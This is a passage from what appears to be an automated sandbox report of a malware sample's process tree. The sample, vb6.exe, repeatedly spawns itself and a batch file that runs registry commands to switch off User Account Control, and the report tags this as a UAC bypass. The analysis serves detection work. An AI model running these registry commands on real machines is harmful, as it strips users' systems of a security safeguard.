                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                          PID:1224
                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:2816
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                          PID:1108
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:1980
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:3160
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:832
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                PID:5684
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:1200
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:3392
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                        PID:5712
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:5988
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:3524
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:4112
                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:5168
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Checks computer location settings
                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                            PID:4648
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                              PID:3344
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                PID:1264
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                PID:5224
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:400
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:5992
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                PID:3632
                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:2444
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                  PID:5596
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:5372
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:2976
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                          PID:5052
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:2408
                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:2936
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                          PID:3688
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                            PID:4092
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:4420
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                PID:5336
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:224
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:4892
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:2500
                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:2080
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                    PID:908
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                      PID:3508
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:1728
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                          PID:4760
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:2528
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:2184
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:876
                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:4796
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:2180
                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                PID:6064
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                  PID:4464
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:3364
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:4280
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                          REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                          PID:2928
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:2816
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                        PID:1380
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1064
                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:5472
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Checks computer location settings
                                                                                                                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                              PID:3124
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:5284
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:2040
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                      PID:1980
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:3628
                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:1200
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                      PID:5684
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:5924
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:4112
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                              PID:5868
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:3648
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:1944
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                              PID:3500
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:1500
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                PID:2760
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:5676
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:5516
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                        PID:3020
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:6024
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:4116
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:5944
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:2520
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Checks computer location settings
                                                                                                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                            PID:5372
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:4124
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                  REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                    PID:2512
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                    PID:5484
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:2404
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:5496
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:2840
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                      PID:3212
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                                                                        PID:3752
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:4996
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                              PID:220
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                              PID:1904
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                              PID:5784
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                            PID:5716
                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:5604
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:1144
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:1848
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                    PID:876
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
